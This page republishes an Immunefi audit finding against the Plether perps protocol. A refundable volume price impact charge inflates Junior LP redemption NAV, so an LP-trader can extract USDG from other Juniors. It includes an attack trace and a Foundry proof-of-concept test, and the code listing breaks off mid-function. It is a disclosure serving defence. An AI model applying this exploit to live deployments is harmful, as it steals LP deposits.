Skip to content
Business logic Audit finding Advanced

Refundable VPI inflates Junior redemption NAV before the trader reclaims it, letting a Junior LP/trader extract USDG from other Junior LPs

A volume price impact charge paid on opening a skew-increasing position is booked immediately as pool revenue and included in the Junior LP net asset value, even though the same charge can later be refunded as a rebate when the position closes. A Junior LP who also trades can redeem at the inflated NAV and then close to reclaim the charge, taking USDG from other Junior LPs.

nemveer Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#98024 [SC-Critical] Refundable VPI inflates Junior redemption NAV before the trader reclaims it, letting a Junior LP/trader extract USDG from other Junior LPs

Submitted on Nov 4th 2026 at 13:27:21 UTC by @nemveer for Audit Competition | Plether

Description

Brief/Intro

A skew-increasing open pays a volume price impact charge (VPI) into the HousePool, and the pool books it as realised revenue immediately: the next LP epoch prices Junior deposits and redemptions at a NAV that includes it. The charge is not final, though. When the same position closes and the skew returns, the lifetime clamp converts the close-side VPI into a rebate of up to the amount originally paid, and the engine pays that rebate back out of pool cash. For the life of the position the pool therefore counts a refundable deposit as LP equity.

Any Junior whose redemption settles while such a position is open is overpaid by its share of the VPI, and the Juniors who remain fund the refund at close. A Junior LP who also trades can force this: request a full redemption, open at the skew cap after the epoch's request cutoff, settle at the inflated NAV, close immediately and reclaim the VPI. The trading leg is VPI-neutral, so the result is a transfer from other Juniors to the attacker. The protocol already excludes the mirror-image negative-VPI reserve from LP pricing; positive refundable VPI has no such exclusion.

Vulnerability Details

Code path. V = vpiFactor · (S_post² − S_pre²) / (2D); at the release vpiFactor (0.01e18) an open from flat to the 40% skew cap pays 20 bps of notional.

  1. CfdEngineSettlementSidecar.executeOpen (L452-463) sends V to the pool as a Revenue inflow; HousePool adds it to accountedAssets (L641).
  2. HousePoolAccountingLib.buildReconcileSnapshot (L60-81) prices shares from physicalAssets + terminalLpPriceDelta − traderClaims. No term excludes VPI that can still be refunded, so the epoch settlement (HousePool.sol L840) runs at a NAV higher by V, and the surplus lands in the Junior tranche (HousePoolWaterfallAccountingLib.sol L158).
  3. On close, CloseAccountingLib.buildCloseState computes a negative VPI; the lifetime clamp (L112-118) limits it to the V already paid, CfdEnginePlanLib._planCloseActionSettlement (L1041-1060) nets it into a rebate, and _executeClose (L621-623) pays it from pool cash, capped only by pool cash net of trader claims (L973-977).

The clamp exists to stop the trader-side sandwich (comment at CloseAccountingLib.sol L112-114), and WHITEPAPER L887-888 keeps the negative-VPI reserve out of the terminal price curve "so LPs cannot withdraw it as marked equity before the matching position obligation settles". The positive side is the gap.

Attack trace (LP_RefundableVpiNavExtraction.t.sol, release parameters, production V3 router.commitOrder path, measured against a no-attack control from the same snapshot and clock). Senior 4,000,000; Junior 6,000,000 = 3,600,000 attacker (share f = 0.6) + 2,400,000 honest Junior.

  1. Attacker requests a full Junior redemption early in an epoch.
  2. 120 s before maturity, after the request cutoff, it opens LONG at the skew cap (40,008 lots, N = 4,000,800). V = 8,001.60; open fee 1,600.32 to treasury; Junior totalAssets rises by V.
  3. Anyone calls router.settleLpEpoch. The redemption is funded with 3,604,756.31 instead of 3,599,956.15: an uplift of 4,800.16 = f · V.
  4. Attacker closes at the same price. The clamp binds and the rebate is 6,401.28 = V − close fee, paid in full from pool cash.
  5. Net versus control: attacker +1,599.22 (f·V minus two execution fees and 0.30 carry); honest Junior −3,198.22; Senior unchanged. At the 10 bps Pyth confidence ceiling the attacker still nets +196.44 and the honest Junior loses 1,795.62.

The loss is realised in tokens, not only in a preview: in the next epoch the honest Junior claims a fixed quarter of its shares and receives 599,174.878600 USDG instead of 599,974.430400, a shortfall of 799.551800 USDG (test_Attack_VictimClaimsLessUsdgOnLaterFundedRedemption, public requestRedeem / settleLpEpoch / claimRedeem only).

Variants and constraints (Skeptic_RefundableVpiVariants.t.sol).

  • The precondition is capital, not an existing share: Junior deposits are uncapped. Depositing 14,000,000 into an honest 6,000,000 / 4,000,000 pool (f = 0.78) gives +7,252.38 / −11,089.94 per cycle, 0.28% of the honest tranche (test_C2); +4,311 / −8,149 at the confidence ceiling. Under the Senior covenant inside an existing 60/40 tranche (f ≈ 0.625) it is +1,778.81 / −3,376.91 (test_C1b).
  • Break-even is f ≈ 0.40 (0.58 at the confidence ceiling), lower when same-side skew already exists. Below it the attack is pure griefing: at f = 0.30 the attacker loses 800.86 and the victim still loses 799.28 (test_B).
  • Passive case, no attacker: an unrelated trader holds a skew-cap position across settlement and an honest 60% Junior redeems; it is overpaid 4,800.16 and the remaining Junior loses 3,198.22 (test_A).
  • The rebate is the same with or without a redemption (6,394.88 vs 6,401.28, test_D), so the harm comes from NAV booking V as revenue, not from depth manipulation.
  • Cycle time is about 3 h (deposit activation + redemption cooldown + epoch funding, test_E). No guard interrupts the path: NoLpEpochProgress needs an empty queue, the close is skew-reducing, the rebate cap is pool cash minus claims, degraded mode is not reached, posted margin is refunded.

Impact Details

Direct theft of Junior LP deposits by an unprivileged actor: per cycle about 20·f − 8 bps of max-skew notional to the attacker, and that plus the open fee lost by the other Juniors (measured up to +7,252 / −11,090 USDG with 14M of attacker capital, +4,311 / −8,149 at the confidence ceiling; 799.55 USDG fewer tokens paid on an honest Junior's later claim in the 3.6M/2.4M case). Repeatable roughly every 3 hours. Below break-even it is still griefing (victim loses while the attacker pays). Without any attacker, every Junior redemption settled while a skew-increasing position is open is overpaid by its share of that position's refundable VPI (up to 8 bps of pool depth) at the remaining Juniors' expense.

Proof of Concept

Proof of Concept

Save the attached file as packages/perps/test/poc/PoC_RefundableVpiNavExtraction.t.sol in a checkout at commit a82d4fefb02768e5b3bddcc97dee371eee24fea8. It holds two test contracts (12 tests): RefundableVpiNavExtractionTest (control, attack, the victim's later USDG claim, attack at max confidence) and RefundableVpiVariantsTest (passive variant, 30% share, 60/40 mixes, attacker-supplied capital, no-redemption rebate control, cycle timing). It runs in the repository's Foundry suite with its own BasePerpTest; no file under src/ is modified; mocks replace only Pyth (MockPyth) and USDG (MockSettlementToken). All trades go through the production V3 router.commitOrder(OrderRequest) path and the permissionless router.settleLpEpoch path.

Bash
cd packages/perps
forge test --match-path 'test/poc/PoC_RefundableVpiNavExtraction.t.sol' -vv
Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {CfdMath} from "@plether/perps/CfdMath.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {Vm} from "forge-std/Vm.sol";
// ─────────────────────────────────────────────────────────────────────────────
// Single-file PoC: refundable VPI counted in Junior LP NAV (Plether perps, commit a82d4fef).
// Place at packages/perps/test/poc/PoC_RefundableVpiNavExtraction.t.sol and run:
//   cd packages/perps && forge test --match-path 'test/poc/PoC_RefundableVpiNavExtraction.t.sol' -vv
// Two test contracts, 12 tests, nothing under src/ modified:
//   PART 1  RefundableVpiNavExtractionTest  — control, attack, victim's later USDG claim, attack at max confidence
//   PART 2  RefundableVpiVariantsTest       — passive variant, 30% share, 60/40 mixes, attacker-supplied capital,
//                                             no-redemption rebate control, cycle timing
// ─────────────────────────────────────────────────────────────────────────────

/// @notice PART 1 — PoC: REFUNDABLE VPI COUNTED AS LP NAV.
///         A skew-increasing open pays VPI V into HousePool as `Revenue/CashArrived`
///         (CfdEngineSettlementSidecar.executeOpen -> recordClaimantInflow). LP pricing
///         (HousePoolAccountingLib.buildReconcileSnapshot = physical + terminal price delta - trader claims) has no VPI
///         term, so V is distributed to tranche principals at the next reconcile. The same position's skew-reducing
///         close is rebated up to its lifetime VPI (CloseAccountingLib lifetime clamp) from free pool cash
///         (CfdEnginePlanLib._planIsolatedCloseSettlement). An attacker who is both a Junior LP (fraction f) and the
///         trader requests a full Junior redemption, opens at the skew cap just before the LP epoch boundary, gets
///         redeemed at a NAV that includes V, then closes and is refunded V by the remaining LPs.
/// @dev Release parameters: vpiFactor 0.01e18, maxSkewRatio 0.4e18, maint 10 bps, IM 20 bps, execution fee 4 bps,
///      settlement buffer 25 bps, bountyBps 10, minOpenNotional 1,000 USDG, adverseConfidenceMultiplierBps 2500,
///      Senior cap 40M / maxSeniorShareBps 8000, baseCarryBps 500, seniorRateBps 800.
contract RefundableVpiNavExtractionTest is BasePerpTest {

    address internal constant ATTACKER = address(0xA77AC4); // Junior LP (~60%) and trader
    address internal constant VICTIM = address(0x71C7144); // honest Junior LP (~40%)
    address internal constant SAM = address(0x5A11); // honest Senior LP

    uint256 internal constant SENIOR_ASSETS = 4_000_000e6;
    uint256 internal constant ATK_JUNIOR_ASSETS = 3_600_000e6;
    uint256 internal constant VIC_JUNIOR_ASSETS = 2_400_000e6;
    uint256 internal constant ATK_TRADER_DEPOSIT = 100_000e6;
    uint256 internal constant ORDER_MARGIN = 40_000e6; // 1% of ~4M notional; refundable, irrelevant to economics
    uint256 internal constant PRICE = 1e8;
    uint256 internal constant VPI_FACTOR = 0.01e18;
    uint64 internal constant MAX_CONF = 100_000; // 10 bps of a 1.00 mark = basketMaxConfidenceRatioBps

    bytes32 internal constant ACTION_REBATE_SETTLED = keccak256("ActionRebateSettled(address,uint256,uint256,uint256)");

    struct Cycle {
        // LP and wealth valuations (6dp USDG)
        uint256 attackerStart;
        uint256 attackerEnd;
        uint256 victimStart;
        uint256 victimAfterSettle;
        uint256 victimEnd;
        uint256 juniorTotalBeforeOpen;
        uint256 juniorTotalAfterOpen;
        uint256 juniorSupply;
        uint256 victimShares;
        uint256 attackerShares;
        uint256 attackerQuoteAtSettle;
        uint256 attackerFunded;
        uint256 treasuryStart;
        uint256 treasuryAfterOpen;
        uint256 treasuryEnd;
        uint256 seniorStart;
        uint256 seniorEnd;
        // open
        uint256 lots;
        uint256 notional;
        uint256 depthAtOpen;
        uint256 maxSkewAtOpen;
        uint8 nextLotRevertCode;
        uint256 entryPrice;
        uint256 vpiCharged;
        uint256 feeOpen;
        uint256 lAfterOpen;
        uint256 bAfterOpen;
        uint256 eAfterOpen;
        // close
        uint256 depthAtClose;
        int256 rawCloseVpi;
        uint256 feeClose;
        uint256 rebateAssessed;
        uint256 rebatePaid;
        uint256 rebateWaived;
        bool rebateEventSeen;
        uint256 freeCashBeforeClose;
        uint256 attackerChBeforeClose;
        uint256 attackerChAfterClose;
        uint256 poolBeforeClose;
        uint256 poolAfterClose;
    }

    struct VictimExit {
        uint256 requestId;
        uint256 maturity;
        uint256 requestedShares;
        uint256 claimedShares;
        uint256 paidAssets;
        uint256 walletBefore;
        uint256 walletAfter;
        uint256 residualShares;
        uint256 residualValue;
        uint256 seniorAssetsAtClaim;
    }

    // ------------------------------------------------------------------ configuration

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: VPI_FACTOR,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function _initialJuniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    function _initialSeniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    function setUp() public override {
        super.setUp();
        // Propose both timelocked configs together so one 72h wait lands on Thursday (not the weekend closure).
        IOrderRouterAdminHost.RouterConfig memory config = _routerConfig();
        config.adverseConfidenceMultiplierBps = 2500; // release value
        config.minOpenNotionalAssets = 1000e6; // release value
        routerAdmin.proposeRouterConfig(config);
        IHousePool.PoolConfig memory poolConfig = _currentPoolConfig();
        poolConfig.maxSeniorExposureAssets = 40_000_000e6; // release Senior covenant
        poolConfig.maxSeniorShareBps = 8000;
        pool.proposePoolConfig(poolConfig);
        uint256 activation = vm.getBlockTimestamp() + 72 hours + 1;
        if (pool.poolConfigActivationTime() > activation) {
            activation = pool.poolConfigActivationTime();
        }
        vm.warp(activation);
        routerAdmin.finalizeRouterConfig();
        pool.finalizePoolConfig();
        assertFalse(engine.isOracleFrozen(), "weekday setup");

        _fundJunior(ATTACKER, ATK_JUNIOR_ASSETS);
        _fundJunior(VICTIM, VIC_JUNIOR_ASSETS);
        _fundSenior(SAM, SENIOR_ASSETS);
        uint256 unlock = juniorVault.lastDepositTime(VICTIM) + juniorVault.DEPOSIT_COOLDOWN();
        uint256 unlockAtk = juniorVault.lastDepositTime(ATTACKER) + juniorVault.DEPOSIT_COOLDOWN();
        if (unlockAtk > unlock) {
            unlock = unlockAtk;
        }
        if (vm.getBlockTimestamp() < unlock) {
            vm.warp(unlock + 1);
        }
        _fundTrader(ATTACKER, ATK_TRADER_DEPOSIT);
        _refreshMark(PRICE);
    }

    // ------------------------------------------------------------------ oracle helpers

    function _livePriceData(
        uint256 price
    ) internal view returns (bytes[] memory updateData) {
        bytes32[] memory ids = _basePythFeedIds();
        MockPyth.FeedUpdate[] memory ticks = new MockPyth.FeedUpdate[](ids.length);
        uint256 previous = engine.lastMarkTime();
        for (uint256 i; i < ids.length; ++i) {
            ticks[i] = MockPyth.FeedUpdate(
                ids[i], MockPyth.MockPrice(int64(uint64(price)), 0, -8, vm.getBlockTimestamp(), previous)
            );
        }
        updateData = new bytes[](1);
        updateData[0] = abi.encode(ticks);
    }

    function _refreshMark(
        uint256 price
    ) internal {
        if (vm.getBlockTimestamp() <= engine.lastMarkTime()) {
            vm.warp(uint256(engine.lastMarkTime()) + 1);
        }
        vm.roll(vm.getBlockNumber() + 1);
        baseMockPyth.setAllPrices(_basePythFeedIds(), int64(uint64(price)), int32(-8), vm.getBlockTimestamp());
        router.updateMarkPrice(_livePriceData(price));
    }

    /// @dev Real permissionless Router path (same as Engine_HedgedCapacitySquat). With no open position the pool
    ///      entrypoint is permissionless, so fall back to it if the Router path rejects.
    function _settleEpoch(
        uint256 price
    ) internal {
        if (vm.getBlockTimestamp() <= engine.lastMarkTime()) {
            vm.warp(uint256(engine.lastMarkTime()) + 1);
        }
        vm.roll(vm.getBlockNumber() + 1);
        baseMockPyth.setAllPrices(_basePythFeedIds(), int64(uint64(price)), int32(-8), vm.getBlockTimestamp());
        bytes[] memory data = _livePriceData(price);
        try router.settleLpEpoch(data) {}
        catch (bytes memory err) {
            if (_sideOpenInterest(CfdTypes.Side.LONG) + _sideOpenInterest(CfdTypes.Side.SHORT) != 0) {
                assembly ("memory-safe") {
                    revert(add(err, 32), mload(err))
                }
            }
            pool.settleLpEpoch(0, 0);
        }
    }

    /// @dev Legacy execution blob, optionally with a nonzero Pyth confidence on both basket components.
    function _execData(
        uint256 price,
        uint64 conf
    ) internal returns (bytes[] memory data) {
        data = _mockPythUpdateData(price);
        if (conf != 0) {
            uint256 publishTime = _mockHistoricalPublishTime();
            baseMockPyth.setAllUniquePrices(
                _basePythFeedIds(),
                int64(uint64(price)),
                conf,
                int32(-8),
                publishTime,
                publishTime == 0 ? 0 : publishTime - 1
            );
        }
    }

    function _exec(
        CfdTypes.Side side,
        uint256 size,
        uint256 margin,
        bool isClose,
        uint256 price,
        uint64 conf
    ) internal returns (OrderV3Types.ExecutionResult memory r) {
        uint32 window = uint32(router.maxExecutionWindowSeconds());
        OrderV3Types.OrderRequest memory request = OrderV3Types.OrderRequest({
            clientOrderId: bytes32(uint256(router.nextCommitId())),
            side: side,
            sizeDelta: size,
            marginDelta: margin,
            targetPrice: (side == CfdTypes.Side.LONG) == isClose ? type(uint256).max : 1,
            isClose: isClose,
            bounds: OrderV3Types.ExecutionBounds({
                submitBy: uint64(vm.getBlockTimestamp()) + uint64(window),
                executionWindowSeconds: window,
                allowedExecutionModes: 7,
                expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
                maxExecutionBountyAssets: type(uint256).max,
                maxExecutionNotionalAssets: type(uint256).max,
                maxGrossAccountDebitAssets: type(uint256).max,
                maxActionChargeAssets: type(uint256).max,
                maxExplicitFeesAssets: type(uint256).max,
                maxPostPositionSize: type(uint256).max,
                minPostSettlementBalanceAssets: 0,
                minPostPositionEquityAssets: 0,
                maxPostLeverageBps: type(uint32).max
            })
        });
        vm.prank(ATTACKER);
        uint64 id = router.commitOrder(request);
        bytes[] memory data = _execData(price, conf);
        vm.roll(vm.getBlockNumber() + 1);
        // Self-execution (keepers are permissionless): the open-order execution bounty returns to the attacker.
        vm.prank(ATTACKER);
        r = router.executeOrder(id, data);
    }

    // ------------------------------------------------------------------ view helpers

    function _previewCode(
        uint256 lots,
        uint256 margin,
        uint256 price
    ) internal view returns (uint8) {
        try engineLens.previewOpenRevertCode(
            ATTACKER, CfdTypes.Side.LONG, lots * CfdTypes.SIZE_QUANTUM, margin, price
        ) returns (uint8 code) {
            return code;
        } catch {
            return type(uint8).max;
        }
    }

    function _maxAdmissibleLots(
        uint256 margin,
        uint256 price
    ) internal view returns (uint256) {
        uint256 lo;
        uint256 hi = 200_000;
        while (lo < hi) {
            uint256 mid = (lo + hi + 1) / 2;
            if (_previewCode(mid, margin, price) == 0) {
                lo = mid;
            } else {
                hi = mid - 1;
            }
        }
        return lo;
    }

    function _juniorValue(
        address lp
    ) internal view returns (uint256) {
        return juniorVault.convertToAssets(juniorVault.balanceOf(lp));
    }

    /// @dev Clearinghouse settlement balance + wallet USDG + mark value of wallet Junior shares.
    function _wealth(
        address a
    ) internal view returns (uint256) {
        return clearinghouse.balanceAssets(a) + settlementToken.balanceOf(a) + _juniorValue(a);
    }

    function _economicDepth() internal view returns (uint256) {
        uint256 p = pool.totalAssets();
        uint256 c = engine.totalTraderClaimBalanceAssets();
        return p > c ? p - c : 0;
    }

    // ------------------------------------------------------------------ the cycle

    function _openAtSkewCap(
        Cycle memory c,
        uint64 conf
    ) internal {
        c.depthAtOpen = _economicDepth();
        c.maxSkewAtOpen = (c.depthAtOpen * 0.4e18) / 1e18;
        c.lots = _maxAdmissibleLots(ORDER_MARGIN, PRICE);
        c.nextLotRevertCode = _previewCode(c.lots + 1, ORDER_MARGIN, PRICE);
        c.notional = c.lots * PRICE; // size * price / 1e20 with size = lots * 1e20
        uint256 tBefore = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
        OrderV3Types.ExecutionResult memory r =
            _exec(CfdTypes.Side.LONG, c.lots * CfdTypes.SIZE_QUANTUM, ORDER_MARGIN, false, PRICE, conf);
        if (r.status != OrderV3Types.LifecycleStatus.Executed) {
            emit log_named_uint("open terminal reason", uint8(r.terminalReason));
        }
        assertEq(uint8(r.status), uint8(OrderV3Types.LifecycleStatus.Executed), "skew-cap open executed");
        int256 vpi;
        (,, c.entryPrice,,,, vpi) = engine.positions(ATTACKER);
        assertGt(vpi, 0, "open paid positive VPI");
        c.vpiCharged = uint256(vpi);
        c.treasuryAfterOpen = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
        c.feeOpen = c.treasuryAfterOpen - tBefore;
        c.lAfterOpen = _maxLiability();
        c.bAfterOpen = (c.lAfterOpen * engine.settlementBufferBps() + 9999) / 10_000;
        c.eAfterOpen = _economicDepth();
    }

    function _closeAll(
        Cycle memory c,
        uint64 conf
    ) internal {
        (uint256 size,,,,,,) = engine.positions(ATTACKER);
        c.depthAtClose = _economicDepth();
        c.rawCloseVpi = CfdMath.calculateVPI((size * PRICE) / 1e20, 0, c.depthAtClose, VPI_FACTOR);
        c.freeCashBeforeClose = pool.totalAssets() - engine.totalTraderClaimBalanceAssets();
        c.poolBeforeClose = pool.totalAssets();
        c.attackerChBeforeClose = clearinghouse.balanceAssets(ATTACKER);
        vm.recordLogs();
        OrderV3Types.ExecutionResult memory r = _exec(CfdTypes.Side.LONG, size, 0, true, PRICE, conf);
        Vm.Log[] memory logs = vm.getRecordedLogs();
        if (r.status != OrderV3Types.LifecycleStatus.Executed) {
            emit log_named_uint("close terminal reason", uint8(r.terminalReason));
        }
        assertEq(uint8(r.status), uint8(OrderV3Types.LifecycleStatus.Executed), "full close executed");
        (uint256 sizeAfter,,,,,,) = engine.positions(ATTACKER);
        assertEq(sizeAfter, 0, "position fully closed");
        for (uint256 i; i < logs.length; ++i) {
            if (
                logs[i].topics.length == 2 && logs[i].topics[0] == ACTION_REBATE_SETTLED
                    && address(uint160(uint256(logs[i].topics[1]))) == ATTACKER
            ) {
                (c.rebateAssessed, c.rebatePaid, c.rebateWaived) =
                    abi.decode(logs[i].data, (uint256, uint256, uint256));
                c.rebateEventSeen = true;
            }
        }
        c.poolAfterClose = pool.totalAssets();
        c.attackerChAfterClose = clearinghouse.balanceAssets(ATTACKER);
        // Close fee on closed notional at the (adverse) execution price; mirrors CloseAccountingLib.
        uint256 shift = PRICE > c.entryPrice ? PRICE - c.entryPrice : 0;
        c.feeClose = ((size * (PRICE + shift)) / 1e20) * engine.executionFeeBps() / 10_000;
    }

    function _idle() internal {
        vm.roll(vm.getBlockNumber() + 2);
        vm.warp(vm.getBlockTimestamp() + 1);
    }

    function _runCycle(
        bool attack,
        uint64 conf
    ) internal returns (Cycle memory c) {
        // Start one minute into a fresh LP epoch so the request targets the imminent epoch (cutoff is 5 minutes).
        uint256 epochStart = pool.lpEpochStart(pool.currentLpEpoch() + 1);
        vm.warp(epochStart + 60);
        _refreshMark(PRICE);
        c.victimStart = _juniorValue(VICTIM);
        c.attackerStart = _wealth(ATTACKER);
        c.treasuryStart = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
        c.seniorStart = seniorVault.totalAssets();
        c.juniorSupply = juniorVault.accruedTotalSupply();
        c.victimShares = juniorVault.balanceOf(VICTIM);

        // 1. Attacker (Junior LP) requests a full Junior redemption maturing at the next LP epoch.
        c.attackerShares = juniorVault.maxRequestRedeem(ATTACKER);
        assertEq(c.attackerShares, juniorVault.balanceOf(ATTACKER), "full balance requestable");
        vm.prank(ATTACKER);
        uint256 reqId = juniorVault.requestRedeem(c.attackerShares, ATTACKER, ATTACKER);
        uint256 maturity = pool.lpEpochStart(reqId);
        assertEq(maturity, epochStart + 1 hours, "request targets the imminent epoch");

        // 2. Two minutes before maturity: skew-increasing LONG at the 40% skew cap (attack only).
        vm.warp(maturity - 120);
        _refreshMark(PRICE);
        c.juniorTotalBeforeOpen = juniorVault.totalAssets();
        if (attack) {
            _openAtSkewCap(c, conf);
        } else {
            _idle();
        }
        _refreshMark(PRICE);
        c.juniorTotalAfterOpen = juniorVault.totalAssets();

        // 3. Permissionless LP epoch settlement at maturity, same price.
        vm.warp(maturity);
        _settleEpoch(PRICE);
        c.attackerFunded = juniorVault.maxWithdraw(ATTACKER);
        c.attackerQuoteAtSettle = juniorVault.convertToAssets(c.attackerShares);
        c.victimAfterSettle = _juniorValue(VICTIM);
        assertEq(juniorVault.maxRedeem(ATTACKER), c.attackerShares, "attacker redemption fully funded");
        vm.prank(ATTACKER);
        juniorVault.withdraw(c.attackerFunded, ATTACKER, ATTACKER);

        // 4. Attacker closes the whole position at the same price (attack only).
        if (attack) {
            _closeAll(c, conf);
        } else {
            _idle();
        }

        // 5. Final valuation at the same mark.
        _refreshMark(PRICE);
        c.victimEnd = _juniorValue(VICTIM);
        c.attackerEnd = _wealth(ATTACKER);
        c.treasuryEnd = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
        c.seniorEnd = seniorVault.totalAssets();
    }

    /// @dev Follow the victim's actual async redemption through the next LP epoch. The same fixed share amount is
    ///      claimed in each snapshot branch, so the USDG wallet delta is the directly realized loss on that tranche.
    function _redeemVictimTranche(
        uint256 shares
    ) internal returns (VictimExit memory x) {
        x.requestedShares = shares;
        x.walletBefore = settlementToken.balanceOf(VICTIM);
        uint256 epochStart = pool.lpEpochStart(pool.currentLpEpoch() + 1);
        vm.warp(epochStart + 60);
        _refreshMark(PRICE);
        assertGe(juniorVault.maxRequestRedeem(VICTIM), shares, "victim can request fixed tranche");
        vm.prank(VICTIM);
        x.requestId = juniorVault.requestRedeem(shares, VICTIM, VICTIM);
        x.maturity = pool.lpEpochStart(x.requestId);
        assertEq(x.maturity, epochStart + 1 hours, "victim request targets next epoch");

        vm.warp(x.maturity);
        _settleEpoch(PRICE);
        x.claimedShares = juniorVault.claimableRedeemRequest(x.requestId, VICTIM);
        assertEq(x.claimedShares, shares, "fixed victim tranche fully funded");
        assertGt(juniorVault.claimableRedeemAssets(x.requestId, VICTIM), 0, "victim has funded USDG claim");
        vm.prank(VICTIM);
        x.paidAssets = juniorVault.claimRedeem(x.requestId, x.claimedShares, VICTIM, VICTIM);
        x.walletAfter = settlementToken.balanceOf(VICTIM);
        assertEq(x.walletAfter - x.walletBefore, x.paidAssets, "victim actually receives claimed USDG");
        assertEq(juniorVault.claimableRedeemRequest(x.requestId, VICTIM), 0, "claim fully consumed");
        x.residualShares = juniorVault.balanceOf(VICTIM);
        x.residualValue = _juniorValue(VICTIM);
        x.seniorAssetsAtClaim = seniorVault.totalAssets();
    }

    // ------------------------------------------------------------------ logging

    function _logCycle(
        string memory tag,
        Cycle memory c
    ) internal {
        emit log_string(tag);
        emit log_named_decimal_uint("  attacker wealth start (CH + wallet + Junior value)", c.attackerStart, 6);
        emit log_named_decimal_uint("  attacker wealth end", c.attackerEnd, 6);
        emit log_named_decimal_int("  attacker wealth delta", int256(c.attackerEnd) - int256(c.attackerStart), 6);
        emit log_named_decimal_uint("  victim Junior value start", c.victimStart, 6);
        emit log_named_decimal_uint("  victim Junior value right after settlement", c.victimAfterSettle, 6);
     

The original report as published on Immunefi, by nemveer. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the LP pricing snapshot includes positive volume price impact that is still refundable at close, while the protocol already excludes the mirror-image negative reserve from LP pricing.

Impact

An unprivileged Junior LP/trader could repeatedly extract USDG from other Junior LPs, and even without an attacker any Junior redemption settled while a skew-increasing position is open is overpaid at the remaining Juniors' expense.

What the attacker needed

Junior LP with a large share of the tranche; Capital to open at the skew cap; Timing after the epoch request cutoff

How it was found

  1. Request a full Junior redemption early in an epoch.
  2. After the epoch request cutoff, open a long position at the skew cap so a positive volume price impact charge is paid into the pool.
  3. Have the LP epoch settled so the redemption is funded at the inflated NAV.
  4. Close the position at the same price so the lifetime clamp turns the close-side charge into a rebate paid from pool cash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Liquidity providers put money into a pool and own a share of it, priced by dividing the pool's assets by the number of shares. When a trader opens a large position the pool charges a fee-like amount and counts it as money it now owns, so each share looks worth more. But that charge can be handed back when the trader closes, so the pool was counting money it might have to return; someone who is both a share holder and the trader can cash out at the inflated price and then get the charge refunded.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by nemveer

View all

19 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.